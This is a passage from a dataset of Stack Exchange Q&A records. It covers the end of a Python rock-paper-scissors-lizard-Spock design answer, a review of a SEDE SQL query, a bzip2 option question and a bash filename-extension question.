losingElementObject = self._elements[elementName2]            losingElementObject.add_loss(elementName1, action)        else:            newElementObject = Element(elementName2)            newElementObject.add_loss(elementName1, action)            self._elements[elementName2] = newElementObject    def __init__(self, filepath):        # get elements from data storage        f = open(filepath)        for line in f:            data = line.split(' ')            self.load_element(data[0], data[1], data[2].replace('\\n', ''))The console code, the user interface:if __name__ == __main__:    print Welcome    game = PlayGame('data.txt')    print     print Get ready!    print     game.fire_when_ready()And the data file, data.txt:scissors cut paperpaper covers rockrock crushes lizardlizard poisons spockspock smashes scissorsscissors decapitates lizardlizard eats paperpaper disproves spockspock vaporizes rockrock crushes scissorsThe goal for my answer was to show you how you can use some object oriented concepts in solving your problem.  In doing so I also left some unresolved problems.  One big one is that the player and game objects are still coupled to the user interface.  One way to nicely resolve this would be through the use of delegates."  } 
{  "id": "_codereview.63372"  , "question": "I created this query back in January to find the top active answerers on Code Review and thought that it might be a good idea to get other opinions on my SQL coding using a database that we can all access.This will probably be the first of several queries that I post for review.Actual SEDE Query --> Top Active Answerers on site--@DaysSinceActivity is the amount of days that you would like to scan for activity--@NumberOfUsers is the number of users you want to return.DECLARE @DaysSinceActivity INT = ##DaysSinceActivity##SELECT     TOP ##NumberOfUsers##    Users.Id as [User Link],    Count(Posts.Id) AS Answers,    CAST(AVG(CAST(Score AS float)) as numeric(6,2)) AS [Average Answer Score]FROM    PostsINNER JOIN    Users ON Users.Id = OwnerUserIdWHERE     PostTypeId = 2 and CommunityOwnedDate is null and ClosedDate is null    AND Users.LastAccessDate > DateAdd(Day, -31, GetDate())GROUP BY    Users.Id, DisplayNameHAVING    Count(Posts.Id) > 10ORDER BY    [Average Answer Score] DESC"  , "title": "Top Active Answerers on a Stack Exchange site"  , "tags": "sql;sql server;t sql;stackexchange"  , "accepted_answer": "Dumping some SEDE experience in as well as a SQL review.SEDE Specific things firstParametersSEDE caches the results of a query if it is run with the current data set (caches are cleared when the data is refreshed). If you run the same query twice, the second time will return the cached data. If the query has not been run, then you need to be logged in to refresh the cache. If the query has been run, then you do not need to be logged in to SEDE to see the data. As a consequence, if you share links, you should pre-populate the cache too.Your query is parametrized, and as a result, you do not have any cached results... BUT.... SEDE parameters are of the form ##Name:Type?Default##. Use this to your advantage. By supplying a default value your query will likely be 'prepopulated'So, set up your parameters like:##DaysSinceActivity:int?30####NumberOfUsers:int?1000##That way, people clicking through will have the default values populated, and will possibly get a better experience.Display NameIn SEDE you can sort the data based on the columns. The [User Link] column does not sort by the name though, it sorts by the URL for the user, which, in essence, does an alphabetic sort of the user-id because that is where the URL starts to change....Add the Display Name in as a result column as well as the [User Link] so people can sort the data alphabetically.... (because people like to know where they are...).RankingConsider adding a RANK column as well, so people an sort by other columns, and still see their ranking.SQLyou have already seen inconsistencies in the capitalization of the keywords... You have chosen upper-case, which is fine, but then these should all be upper-case:andnullCountisetc.BugYou supply the last-access date as a parameter, but then you ignore it:AND Users.LastAccessDate > DateAdd(Day, -31, GetDate())code it to 31 all the time.... hmmm."  } 
{  "id": "_unix.120258"  , "question": "Wanted to check for understanding; while revisiting the topic of using dd over netcat I experimented with compressing the data with bzip2. In the man page, there's -c (compress or decompress to standard output) and there's -z (complement to -d: forces compression, regardless of the invocation name)Is -c simply a way to force the output to standard output, and using bzip2 at invocation implying you want to compress data if you don't use -d?"  , "title": "bzip2 -c versus -z"  , "tags": "compression;bzip2;command switch"  , "accepted_answer": "From the man page:-d --decompressForce decompression.  bzip2, bunzip2 and bzcat are really the same program, and the decision about what actions to take is done on the basis of which name is  used.   This                flag overrides that mechanism, and forces bzip2 to decompressAs this says bzip2, bunzip2 and bzcat are really the same binaries (oddly hardlinked binaries rather than symlinks to a single bzip2 binary on my system). When the program is run it will check the name it was executed under and act appropriately. bzip2 will compress by default, but -d will make it decompress. bunzip2 will decompress by default but -z will make it compress. bzcat will decompress to stdout by default while the other invocations require the -c option to output to stdout rather than a file.Is -c simply a way to force the output to standard output, and using bzip2 at invocation implying you want to compress data if you don't use -d?So to answer simply - yes."  } 
{  "id": "_unix.4041"  , "question": "I just want to make a simple bash file that takes a file name as a parameter. In that bash file, I want to take the name before the extension and have it as a variable, to use in other places. For example, if I was to run bash_script_name sample.asm, the bash script would run:nasm -f elf sample.asmld -s -o sample sample.o io.oSo basically the form of bash_script_name $().asmnasm -f elf $().asmld -s -o $() $().o io.o... however you would do that in bash. I don't know, because I have almost no bash experience."  , "title": "Simple Variable Bash File"  , "tags": "bash;shell script"  , "accepted_answer": "The first argument to the script will be in $1. You can use a bash string replacement to pull the extension; this removes everything from the last occurrence of . forward, and stores the result in $filename:filename=${1%.*}Then you can use $filename in your script wherever you want:nasm -f elf $filename.asmld -s -o $filename $filename.o io.o"  } 
